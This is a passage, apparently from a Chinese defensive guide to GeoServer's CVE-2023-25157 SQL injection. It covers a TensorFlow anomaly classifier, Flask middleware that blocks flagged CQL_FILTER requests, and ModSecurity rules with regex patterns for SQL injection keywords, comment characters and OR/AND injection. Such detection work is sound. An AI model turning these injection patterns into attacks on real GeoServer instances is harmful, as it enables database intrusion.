2.2 模型训练(示例) 假设已有标记数据集(正常请求=0,攻击=1),使用 TensorFlow 构建二分类模型。

import numpy as np
import tensorflow as tf
from tensorflow.keras import layers, models
from sklearn.model_selection import train_test_split

# X 特征矩阵,y 标签
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)

model = models.Sequential([
    layers.Dense(64, activation='relu', input_shape=(X.shape[1],)),
    layers.Dropout(0.3),
    layers.Dense(32, activation='relu'),
    layers.Dropout(0.3),
    layers.Dense(16, activation='relu'),
    layers.Dense(1, activation='sigmoid')
])

model.compile(optimizer='adam',
              loss='binary_crossentropy',
              metrics=['accuracy'])

model.fit(X_train, y_train, epochs=20, batch_size=32, validation_split=0.1)

# 保存模型
model.save('geoserver_anomaly_model.h5')

2.3 集成到 Flask 中间件 加载模型,对每个请求进行实时预测,若异常概率高于阈值则拦截。

from tensorflow.keras.models import load_model
import numpy as np
from datetime import datetime

model = load_model('geoserver_anomaly_model.h5')
THRESHOLD = 0.8

def get_ip_history(ip):
    # 从缓存获取历史统计(如Redis)
    return {'freq_10min': 0}

def ip_reputation(ip):
    return 0

@app.before_request
def before_request():
    # ... 之前的基础检测 ...
    
    # 对敏感路径进行机器学习异常检测
    if any(request.path.startswith(p) for p in SENSITIVE_PATHS):
        request_entry = {
            'ip': request.remote_addr,
            'path': request.path,
            'method': request.method,
            'is_sensitive': True,
            'user_agent': request.headers.get('User-Agent', ''),
            'is_auth': is_authenticated(),
            'timestamp': datetime.now(),
        }
        cql = request.args.get('CQL_FILTER')
        if cql:
            request_entry['has_cql'] = 1
            request_entry['cql_length'] = len(cql)
            digits = sum(c.isdigit() for c in cql)
            letters = sum(c.isalpha() for c in cql)
            special = sum(not c.isalnum() for c in cql)
            request_entry['cql_digit_ratio'] = digits / len(cql) if len(cql) > 0 else 0
            request_entry['cql_letter_ratio'] = letters / len(cql) if len(cql) > 0 else 0
            request_entry['cql_special_char_count'] = special
            request_entry['has_dangerous_func'] = 1 if any(func.lower() in cql.lower() for func in DANGEROUS_FUNCTIONS) else 0
            request_entry['has_sql_keyword'] = 1 if any(re.search(pattern, cql, re.I) for pattern in SQLI_PATTERNS) else 0
        else:
            request_entry['has_cql'] = 0
            request_entry['cql_length'] = 0
            request_entry['cql_digit_ratio'] = 0
            request_entry['cql_letter_ratio'] = 0
            request_entry['cql_special_char_count'] = 0
            request_entry['has_dangerous_func'] = 0
            request_entry['has_sql_keyword'] = 0

        history = get_ip_history(request.remote_addr)
        if predict_anomaly(request_entry, history):
            log_attack(request, 'ml_anomaly', '')
            abort(403, description='Suspicious behavior detected')

def predict_anomaly(request_entry, history):
    features = extract_features(request_entry, history)
    prob = model.predict(np.array([features]))[0][0]
    return prob > THRESHOLD

基于 ModSecurity 的 WAF 规则

在 Apache/NGINX 中部署 ModSecurity,拦截对 GeoServer 的 SQL 注入尝试。 3.1 基础规则

# modsecurity_crs_74_geoserver_cve_2023_25157.conf

# 规则1:检测 CQL_FILTER 参数中的危险函数 + SQL 关键字
SecRule ARGS:CQL_FILTER "@rx (?i)(strEndsWith|strStartsWith|PropertyIsLike|FeatureId).*?(select|union|insert|update|delete|drop|exec|sleep|benchmark|waitfor)" \
    "id:1011001,\
    phase:2,\
    t:none,\
    deny,\
    status:403,\
    msg:'GeoServer CVE-2023-25157 - SQL injection attempt',\
    logdata:'Matched: %{MATCHED_VAR}',\
    tag:'attack-sqli',\
    tag:'cve-2023-25157',\
    severity:'CRITICAL'"

# 规则2:检测 CQL_FILTER 参数中的注释符或分号
SecRule ARGS:CQL_FILTER "@rx (--|#|;)" \
    "id:1011002,\
    phase:2,\
    t:none,\
    deny,\
    status:403,\
    msg:'GeoServer CVE-2023-25157 - Comment or semicolon detected',\
    tag:'attack-sqli',\
    severity:'CRITICAL'"

# 规则3:检测 CQL_FILTER 参数中的单引号与 OR 组合(经典注入)
SecRule ARGS:CQL_FILTER "@rx '.*\s+or\s+.*'|'.*\s+and\s+.*'" \
    "id:1011003,\
    phase:2,\
    t:none,\
    deny,\
    status:403,\
    msg:'GeoServer CVE-2023-25157 - Classic OR/AND injection',\
    tag:'attack-sqli',\
    severity:'CRITICAL'"

# 规则4:对敏感路径进行速率限制
SecRule REQUEST_URI "@beginsWith /geoserver/wfs" \
    "id:1011004,\
    phase:1,\
    t:none,\
    ver:'OWASP_CRS/4.0',\
    block,\
    msg:'GeoServer WFS rate limiting',\
    setvar:'tx.geoserver_wfs_counter_%{REMOTE_ADDR}=+1',\
    expirevar:'tx.geoserver_wfs_counter_%{REMOTE_ADDR}=60'"
SecRule TX:geoserver_wfs_counter_%{REMOTE_ADDR} "@gt 30" \
    "id:1011005,\
    phase:1,\
    block,\
    msg:'Too many WFS requests',\
    severity:'WARNING'"

3.2 部署示例(NGINX)

server {
    listen 80;
    server_name geoserver.example.com;

    ModSecurityEnabled on;
    ModSecurityConfig /etc/nginx/modsec/modsecurity.conf;

    location /geoserver/ {
        proxy_pass http://geoserver-backend:8080/geoserver/;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}

总结:CVE-2023-25157 是 GeoServer 中的严重 SQL 注入漏洞,攻击者可通过构造包含危险函数的 CQL 过滤器执行任意 SQL。通过组合 Flask 应用层防护、TensorFlow 异常检测和 ModSecurity WAF,可以在升级前提供深度防御,有效检测和阻止攻击尝试。建议所有使用 GeoServer 的用户立即采取行动。